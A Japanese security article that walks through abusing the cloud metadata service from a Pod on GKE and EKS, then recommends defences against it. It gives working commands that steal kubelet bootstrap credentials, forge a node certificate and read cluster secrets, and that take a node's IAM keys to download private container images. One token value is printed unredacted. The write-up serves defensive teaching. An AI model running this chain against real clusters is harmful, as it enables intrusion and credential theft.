Metadata Service へのアクセス
GCP や AWS などのクラウドプロバイダーには Metadata Service と呼ばれるインスタンスに対して任意のデータを提供するエンドポイントがあり、インスタンスから http://169.254.169.254/ にアクセスすることで取得できます。
GKE や EKS などのマネージド Kubernetes も例外ではなく、適切なアクセス制御を施さなければ Pod から Metadata Service にアクセスすることができ、権限昇格へとつながる可能性があります。
ここでは GKE / EKS でこれらのエンドポイントにアクセスできた場合の攻撃例と対策を紹介します。
GKE
GKE の Metadata Service に含まれる kube-env
という Metadata にはノードをクラスタにジョインさせるために必要な bootstrap 処理に使用されるクレデンシャル(CA 証明書と公開,秘密鍵)が格納されています。
これを利用して CertificateSigningRequest を作成することで kubelet のクライアント証明書を取得できます。さらに、その取得した証明書を使って kubelet として API サーバーにリクエストを送信することができてしまうのです。
これは GKE のコントロールプレーンとノードの認証方法に関するドキュメントに記載されています。1
Each node in the cluster is injected with a shared Secret at creation, which it can use to submit certificate signing requests to the cluster root CA and obtain kubelet client certificates. These certificates are then used by the kubelet to authenticate its requests to the API server. Note that this shared Secret is reachable by Pods, unless metadata concealment is enabled.
それでは実際に試していきます。GKE でクラスタを作成し、Pod に入ったあと、まずは Metadata へのアクセスを確認します。
root@test:/# KUBE_ENV_URL="http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env"
root@test:/# curl -s -H "Metadata-flavor: Google" "${KUBE_ENV_URL}"
ALLOCATE_NODE_CIDRS: "true"
API_SERVER_TEST_LOG_LEVEL: --v=3
AUTOSCALER_ENV_VARS: kube_reserved=cpu=60m,memory=960Mi,ephemeral-storage=5Gi;node_labels=beta.kubernetes.io/fluentd-ds-ready=true,cloud.google.com/gke-nodepool=default-pool,cloud.google.com/gke-os-distribution=cos
CA_CERT: LS0tLS1CRUdJ...S0tLS0tCg==
CLUSTER_IP_RANGE: 10.0.0.0/14
CLUSTER_NAME: sandbox-cluster
CNI_SHA1: dcbeba8d6be7a49e399bda6b8b638d312eace876
CNI_STORAGE_PATH: https://storage.googleapis.com/gke-release/cni-plugins/v0.8.5-gke.1
CNI_STORAGE_URL_BASE: https://storage.googleapis.com/gke-release/cni-plugins
CNI_TAR_PREFIX: cni-plugins-linux-amd64-
CNI_VERSION: v0.8.5-gke.1
CREATE_BOOTSTRAP_KUBECONFIG: "true"
DNS_DOMAIN: cluster.local
DNS_SERVER_IP: 10.3.240.10
DOCKER_REGISTRY_MIRROR_URL: https://mirror.gcr.io
ELASTICSEARCH_LOGGING_REPLICAS: "1"
ENABLE_CLUSTER_DNS: "true"
ENABLE_CLUSTER_LOGGING: "false"
ENABLE_CLUSTER_MONITORING: none
ENABLE_CLUSTER_REGISTRY: "false"
ENABLE_CLUSTER_UI: "true"
ENABLE_L7_LOADBALANCING: glbc
ENABLE_METADATA_AGENT: ""
ENABLE_METRICS_SERVER: "true"
ENABLE_NODE_LOGGING: "false"
ENABLE_NODE_PROBLEM_DETECTOR: standalone
ENABLE_NODELOCAL_DNS: "false"
ENABLE_SYSCTL_TUNING: "true"
ENV_TIMESTAMP: "2020-09-10T02:20:16+00:00"
EXTRA_DOCKER_OPTS: --insecure-registry 10.0.0.0/8
FEATURE_GATES: DynamicKubeletConfig=false,TaintBasedEvictions=false,RotateKubeletServerCertificate=true,ExperimentalCriticalPodAnnotation=true
FLUENTD_CONTAINER_RUNTIME_SERVICE: containerd
HEAPSTER_USE_NEW_STACKDRIVER_RESOURCES: "true"
HEAPSTER_USE_OLD_STACKDRIVER_RESOURCES: "false"
HPA_USE_REST_CLIENTS: "true"
INSTANCE_PREFIX: gke-sandbox-cluster-e2749290
KUBE_ADDON_REGISTRY: k8s.gcr.io
KUBE_CLUSTER_DNS: 10.3.240.10
KUBE_DOCKER_REGISTRY: gke.gcr.io
KUBE_MANIFESTS_TAR_HASH: d669659b3716794bafc85a1808d5def16e536166
KUBE_MANIFESTS_TAR_URL: https://storage.googleapis.com/gke-release-asia/kubernetes/release/v1.15.12-gke.2/kubernetes-manifests.tar.gz,https://storage.googleapis.com/gke-release/kubernetes/release/v1.15.12-gke.2/kubernetes-manifests.tar.gz,https://storage.googleapis.com/gke-release-eu/kubernetes/release/v1.15.12-gke.2/kubernetes-manifests.tar.gz
KUBE_PROXY_TOKEN: SrS1RF7V6Te5rd95FYvBhTEN04hWTKp2X4nMoxBrFgY=
KUBELET_ARGS: --v=2 --cloud-provider=gce --experimental-check-node-capabilities-before-mount=true
--experimental-mounter-path=/home/kubernetes/containerized_mounter/mounter --cert-dir=/var/lib/kubelet/pki/
--cni-bin-dir=/home/kubernetes/bin --kubeconfig=/var/lib/kubelet/kubeconfig --image-pull-progress-deadline=5m
--experimental-kernel-memcg-notification=true --max-pods=110 --non-masquerade-cidr=0.0.0.0/0
--network-plugin=kubenet --node-labels=beta.kubernetes.io/fluentd-ds-ready=true,cloud.google.com/gke-nodepool=default-pool,cloud.google.com/gke-os-distribution=cos
--volume-plugin-dir=/home/kubernetes/flexvolume --bootstrap-kubeconfig=/var/lib/kubelet/bootstrap-kubeconfig
--node-status-max-images=25 --registry-qps=10 --registry-burst=20
KUBELET_CERT: LS0tLS1CR...tLS0tCg==
KUBELET_KEY: LS0tLS1CRUdJT...tFWS0tLS0tCg==
KUBERNETES_MASTER: "false"
KUBERNETES_MASTER_NAME: 35.200.103.159
LOGGING_DESTINATION: ""
LOGGING_STACKDRIVER_RESOURCE_TYPES: ""
MONITORING_FLAG_SET: "true"
NETWORK_PROVIDER: kubenet
NODE_LOCAL_SSDS_EXT: ""
NODE_PROBLEM_DETECTOR_TOKEN: etn...zY=
NON_MASQUERADE_CIDR: 0.0.0.0/0
REMOUNT_VOLUME_PLUGIN_DIR: "true"
REQUIRE_METADATA_KUBELET_CONFIG_FILE: "true"
SALT_TAR_HASH: ""
SALT_TAR_URL: https://storage.googleapis.com/gke-release-asia/kubernetes/release/v1.15.12-gke.2/kubernetes-salt.tar.gz,https://storage.googleapis.com/gke-release/kubernetes/release/v1.15.12-gke.2/kubernetes-salt.tar.gz,https://storage.googleapis.com/gke-release-eu/kubernetes/release/v1.15.12-gke.2/kubernetes-salt.tar.gz
SERVER_BINARY_TAR_HASH: a016a715584cc797c4d9c2c3c8ae34d0fb3837db
SERVER_BINARY_TAR_URL: https://storage.googleapis.com/gke-release-asia/kubernetes/release/v1.15.12-gke.2/kubernetes-server-linux-amd64.tar.gz,https://storage.googleapis.com/gke-release/kubernetes/release/v1.15.12-gke.2/kubernetes-server-linux-amd64.tar.gz,https://storage.googleapis.com/gke-release-eu/kubernetes/release/v1.15.12-gke.2/kubernetes-server-linux-amd64.tar.gz
SERVICE_CLUSTER_IP_RANGE: 10.3.240.0/20
STACKDRIVER_ENDPOINT: https://logging.googleapis.com
SYSCTL_OVERRIDES: ""
VOLUME_PLUGIN_DIR: /home/kubernetes/flexvolume
ZONE: asia-northeast1-b
様々なデータが含まれていることが確認できます。ここに含まれている CA_CERT
, KUBELET_CERT
, KUBELET_KEY
がそれぞれ証明書の生成に必要なファイルです。
これらは base64 エンコードされているため、デコードして保存します。
root@test:/# curl -s -H "Metadata-flavor: Google" "${KUBE_ENV_URL}" | grep -v "EVICTION" | grep -v "KUBELET_TEST_ARGS" | grep -v "EXTRA_DOCKER_OPTS" | sed -e 's/: /=/g' > env
root@test:/# source ./env
root@test:/# echo $CA_CERT | base64 -d > bootstrap/ca.crt
root@test:/# echo $KUBELET_CERT | base64 -d > bootstrap/kubelet-bootstrap.crt
root@test:/# echo $KUBELET_KEY | base64 -d > bootstrap/kubelet-bootstrap.key
Pod が配置されている Node のホスト名も取得します。
root@test:/# KUBE_HOSTNAME_URL="http://169.254.169.254/computeMetadata/v1/instance/hostname"
root@test:/# CURRENT_HOSTNAME="$(curl -s -H 'Metadata-flavor: Google' ${KUBE_HOSTNAME_URL} | awk -F. '{print $1}')"
root@test:/# echo $CURRENT_HOSTNAME
gke-sandbox-cluster-default-pool-f9270e72-mg63
これからの操作を簡単にするために kubectl
も取得しておきましょう。
root@test:/# curl -s -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl
root@test:/# chmod +x kubectl
取得した証明書を使って Node のホスト名を含んだ CSR を作成します。
root@test:/tmp# cat openssl.cnf
[ req ]
prompt = no
encrypt_key = no
default_md = sha256
distinguished_name = dname
[ dname ]
O = system:nodes
CN = system:node:gke-sandbox-cluster-default-pool-f9270e72-mg63
root@test:/tmp# openssl ecparam -genkey -name prime256v1 -out kubelet.key
root@test:/tmp# openssl req -new -config /tmp/openssl.cnf -key kubelet.key -out kubelet.csr
CertificateSigningRequest リソースを作ります。 request
には生成した CSR を base64 エンコードした値を指定します。
root@test:/tmp# cat kubelet.csr | base64 | tr -d '\n'
LS0tLS1CRUdJ...LS0tLS0K
root@test:/# cat /tmp/kubelet.yaml
apiVersion: certificates.k8s.io/v1beta1
kind: CertificateSigningRequest
metadata:
name: node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2
spec:
groups:
- system:authenticated
request: LS0tLS1CRUdJ...LS0tLS0K
usages:
- digital signature
- key encipherment
- client auth
username: kubelet
CertificateSigningRequest を作成すると kube-controoler-manager によって自動承認されます。2
root@test:/# ./kubectl create -f /tmp/kubelet.yaml --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=bootstrap/kubelet-bootstrap.crt --client-key=bootstrap/kubelet-bootstrap.key
certificatesigningrequest.certificates.k8s.io/node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2 created
証明書が承認されたので、クライアント証明書を取得します。
root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=bootstrap/kubelet-bootstrap.crt --client-key=bootstrap/kubelet-bootstrap.key get csr
NAME AGE REQUESTOR CONDITION
csr-tsfx7 37m system:node:gke-sandbox-cluster-default-pool-f9270e72-mg63 Approved,Issued
node-csr-P4UgPH1KuYujxgQkDUWU1cWtUcMlEBXl5kn0WqUxS3Y 37m kubelet Approved,Issued
node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2 66s kubelet Approved,Issued
root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=bootstrap/kubelet-bootstrap.crt --client-key=bootstrap/kubelet-bootstrap.key get csr node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2 -o jsonpath='{.status.certificate}' | base64 -d > /tmp/kubelet.crt
これで Pod の一覧と、その Pod で使われている Secret を閲覧できるようになります。Secret の一覧はできませんが、Get はできるので Pod で利用中の Secret は取得することが可能です。
root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=/tmp/kubelet.crt --client-key=/tmp/kubelet.key get pods
NAME READY STATUS RESTARTS AGE
test 1/1 Running 0 40m
root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=/tmp/kubelet.crt --client-key=/tmp/kubelet.key get pods --all-namespaces -o=jsonpath='{range .items[*]}{.metadata.namespace}{"|"}{.metadata.name}{"|"}{.spec.volumes[*].secret.secretName}{"\n"}{end}'
default|test|default-token-xjxn2
kube-system|event-exporter-v0.3.0-5cd6ccb7f7-d6vnv|event-exporter-sa-token-t4jdk
kube-system|fluentd-gcp-scaler-6855f55bcc-kck48|fluentd-gcp-scaler-token-s767f
kube-system|fluentd-gcp-v3.1.1-zg5bc|fluentd-gcp-token-qlljh
kube-system|heapster-gke-858f6d47db-jmdm8|heapster-token-l47xx
kube-system|kube-dns-5c446b66bd-xbmn2|kube-dns-token-fx6l4
kube-system|kube-dns-autoscaler-6b7f784798-9q2mq|kube-dns-autoscaler-token-r5xl4
kube-system|kube-proxy-gke-sandbox-cluster-default-pool-f9270e72-mg63|
kube-system|l7-default-backend-84c9fcfbb-97tsn|default-token-psndk
kube-system|metrics-server-v0.3.3-fdc67d4b6-wglqz|metrics-server-token-d74js
kube-system|prometheus-to-sd-q7s2f|prometheus-to-sd-token-876dc
kube-system|stackdriver-metadata-agent-cluster-level-7df5d5fb48-v9l8w|metadata-agent-token-vnpdq
root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=/tmp/kubelet.crt --client-key=/tmp/kubelet.key get secret -n kube-system prometheus-to-sd-token-876dc -o yaml
apiVersion: v1
data:
ca.crt: LS0t...==
namespace: a3ViZS1zeXN0ZW0=
token: ZXlKXa...==
kind: Secret
metadata:
annotations:
kubernetes.io/service-account.name: prometheus-to-sd
kubernetes.io/service-account.uid: c3ed5b36-685f-4f6e-93b9-4459a1a251d1
creationTimestamp: "2020-09-10T02:23:40Z"
name: prometheus-to-sd-token-876dc
namespace: kube-system
resourceVersion: "365"
selfLink: /api/v1/namespaces/kube-system/secrets/prometheus-to-sd-token-876dc
uid: 8651c53d-60d3-419c-877c-fef4e399e242
type: kubernetes.io/service-account-token
このように、もし Pod が侵害され、Metadata Service へのアクセスが可能だった場合は、Secret へのアクセスもできてしまうため、さらなる権限昇格が可能になります。
GKE ではこのような攻撃を防ぐために Workload Identity3 や Shielded GKE Nodes4 という仕組みがありますので、これらを利用することを推奨します。
EKS
続いて EKS での Metadata Service を見ていきます。AWS での Metadata Service は Amazon EC2 Instance metadata service (IMDS) という名前があるため、ここでも IMDS と表記します。
まずは eksctl
でクラスタを作成します。
$ eksctl create cluster --nodes 1 --name test-cluster --node-type t3.large
...
$ kubectl get nodes
NAME STATUS ROLES AGE VERSION
ip-192-168-74-107.ap-northeast-1.compute.internal Ready <none> 2m51s v1.17.12-eks-7684af
クラスタができたら Pod を作成し、IMDS にアクセスしてみます。
$ kubectl run --image=nicolaka/netshoot:latest --rm -it test bash
If you don't see a command prompt, try pressing enter.
bash-5.0# curl http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
GCP とはまた違ったデータが含まれていることが確認できます。このように、クラウドプロバイダーごとに格納されている値は異なるため、利用しているクラウドプロバイダーでどのような値を持っているかを確認し、もしアクセスされた場合にどのような影響が生じるのかを把握することをオススメします。
さて、これらのデータの中で攻撃に利用できるものの一つに Node のインスタンスに紐付いている IAM ロール IAM があります。今回作成したクラスタには eksctl-test-cluster-nodegroup-ng-NodeInstanceRole-1T2SSTC513WI5
という名前の IAM ロールが付与されていることが確認できます。また、クレデンシャルも取得することもできます。
bash-5.0# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-test-cluster-nodegroup-ng-NodeInstanceRole-1T2SSTC513WI5
bash-5.0# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-test-cluster-nodegroup-ng-NodeInstanceRole-1T2SSTC513WI5/
{
"Code" : "Success",
"LastUpdated" : "2020-11-23T13:32:29Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...6GVD",
"SecretAccessKey" : "MgZ0...Rv1A",
"Token" : "IQoJb3JpZ...QKjFmg==",
"Expiration" : "2020-11-23T20:06:44Z"
}
この IAM ロールには以下のポリシーが適用されています。
- AmazonEKSWorkerNodePolicy
- AmazonEC2ContainerRegistryReadOnly
- AmazonEKS_CNI_Policy
このポリシーには ec2:DescribeInstances
や ec2:DescribeVpcs
などもあり、インスタンスやネットワーク情報の取得などが可能なことがわかります。
さらに興味深いのは AmazonEC2ContainerRegistryReadOnly
です。これは ECR から任意の Docker イメージを取得することができます。任意の Docker イメージを取得できるということはアプリケーションのソースコードなどを取得できるということになります。
では試してみましょう。Pod に aws
コマンドをインストールし、 aws ecr
コマンドを通してリポジトリの情報を取得できます。
root@test:~# export AWS_ACCESS_KEY_ID=ASIA...6GVD
root@test:~# export AWS_SECRET_ACCESS_KEY=MgZ0...Rv1A
root@test:~# export AWS_SESSION_TOKEN=IQoJb3JpZ...QKjFmg==
root@test:~# aws ecr describe-repositories
{
"repositories": [
{
"repositoryArn": "arn:aws:ecr:ap-northeast-1:926292163423:repository/mrtc0/test",
"registryId": "926292163423",
"repositoryName": "mrtc0/test",
"repositoryUri": "926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/mrtc0/test",
"createdAt": "2020-11-23T22:51:31+09:00",
"imageTagMutability": "MUTABLE",
"imageScanningConfiguration": {
"scanOnPush": false
},
"encryptionConfiguration": {
"encryptionType": "AES256"
}
}
]
}
root@test:~# aws ecr list-images --repository-name mrtc0/test
{
"imageIds": [
{
"imageDigest": "sha256:f9fc7e015619f2460609f17fe5903d698db775a340e4554c8a5b1c65d63b53b1",
"imageTag": "latest"
}
]
}
また、レジストリへのログインパスワードも取得できます。
root@test:~# aws ecr get-login-password --region ap-northeast-1
eyJwYXlsb2FkIjoiZlB4Qy9KdXFqajE5ZlRkektKZ1liaWlJW...
root@test:~# aws ecr get-login-password --region ap-northeast-1 | docker login --username AWS --password-stdin 926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/mrtc0/test
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
Login Succeeded
ログインができるのでイメージを取得してみます。docker
コマンドを用意しなくても curl
でイメージレイヤを取得することができます。
root@test:~# export TOKEN=$(aws ecr get-login-password --region ap-northeast-1)
root@test:~# curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -k --user AWS:$TOKEN https://926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/v2/mrtc0/test/manifests/latest
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"size": 1728,
"digest": "sha256:0a8054f3ec507e056e6bc0a015d3a85678e4966cd9e1f18953311676ddf681fd"
},
"layers": [
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 2797541,
"digest": "sha256:df20fa9351a15782c64e6dddb2d4a6f50bf6d3688060a34c4014b0d9a752eb4c"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 117,
"digest": "sha256:a34b0c316d63ed56e3cc1a312826765097c78c747445fad0e14d82686cb5563a"
}
]
}
root@test:~# curl -L -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -k --user AWS:$TOKEN https://926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/v2/mrtc0/test/blE_ID/ | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 127 100 127 0 0 2116 0 --:--:-- --:--:-- --:--:-- 2116
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 1728 100 1728 0 0 12083 0 --:--:-- --:--:-- --:--:-- 12083
{
"architecture": "amd64",
"config": {
"Hostname": "",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"/bin/sh"
],
"ArgsEscaped": true,
"Image": "sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e",
"Volumes": null,
"WorkingDir": "",
"Entrypoint": null,
"OnBuild": null,
"Labels": null
},
"container_config": {
"Hostname": "",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"/bin/sh",
"-c",
"#(nop) ADD file:d579202c9c7308a756eac66a2b3be41424e5e92a6376dd3fcf059d57770aa10c in /secret.txt "
],
"ArgsEscaped": true,
"Image": "sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e",
"Volumes": null,
"WorkingDir": "",
"Entrypoint": null,
"OnBuild": null,
"Labels": null
},
"created": "2020-11-23T13:50:04.0959713Z",
"docker_version": "19.03.13",
"history": [
{
"created": "2020-05-29T21:19:46.192045972Z",
"created_by": "/bin/sh -c #(nop) ADD file:c92c248239f8c7b9b3c067650954815f391b7bcb09023f984972c082ace2a8d0 in / "
},
{
"created": "2020-05-29T21:19:46.363518345Z",
"created_by": "/bin/sh -c #(nop) CMD [\"/bin/sh\"]",
"empty_layer": true
},
{
"created": "2020-11-23T13:50:04.0959713Z",
"created_by": "/bin/sh -c #(nop) ADD file:d579202c9c7308a756eac66a2b3be41424e5e92a6376dd3fcf059d57770aa10c in /secret.txt "
}
],
"os": "linux",
"rootfs": {
"type": "layers",
"diff_ids": [
"sha256:50644c29ef5a27c9a40c393a73ece2479de78325cae7d762ef3cdc19bf42dd0a",
"sha256:0e93ab7e92aa71e6ad2e6227fc001d8311e4c7827ef882bfe0fadffcfdf8b3e0"
]
}
}
root@test:~# curl -L -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -k --user AWS:$TOKEN https://926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/v2/mrtc0/test/blobs/sha256:a34b0c316d63ed56e3cc1a312826765097c78c747445fad0e14d82686cb5563a -o layer.tar.gz
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 117 100 117 0 0 873 0 --:--:-- --:--:-- --:--:-- 873
root@test:~# tar xvzf layer.tar.gz
secret.txt
root@test:~# cat secret.txt
this is secret
EKS でもこのような攻撃を防ぐために hostNetwork を利用しないコンテナが IMDS に接続しないように設定できます。5
カスタム Launch template を使っているか、Self-managed かどうかなどで設定方法が変わってきますが、今回の場合だと eksctl create nodegroup
でノードグループを作成する際に、 --disable-pod-imds
フラグを付与することでアクセスを禁止することができます。
禁止すると次のように 401 が返ってくるようになります。
bash-5.0# curl -i http://169.254.169.254/
HTTP/1.1 401 Unauthorized
Content-Length: 0
Date: Mon, 23 Nov 2020 14:50:10 GMT
Server: EC2ws
Connection: close
Content-Type: text/plain
1. https://cloud.google.com/kubernetes-engine/docs/concepts/cluster-trust ↩
2. https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers ↩
3. https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity ↩
4. https://cloud.google.com/kubernetes-engine/docs/how-to/shielded-gke-nodes ↩
5. https://docs.aws.amazon.com/eks/latest/userguide/best-practices-security.html ↩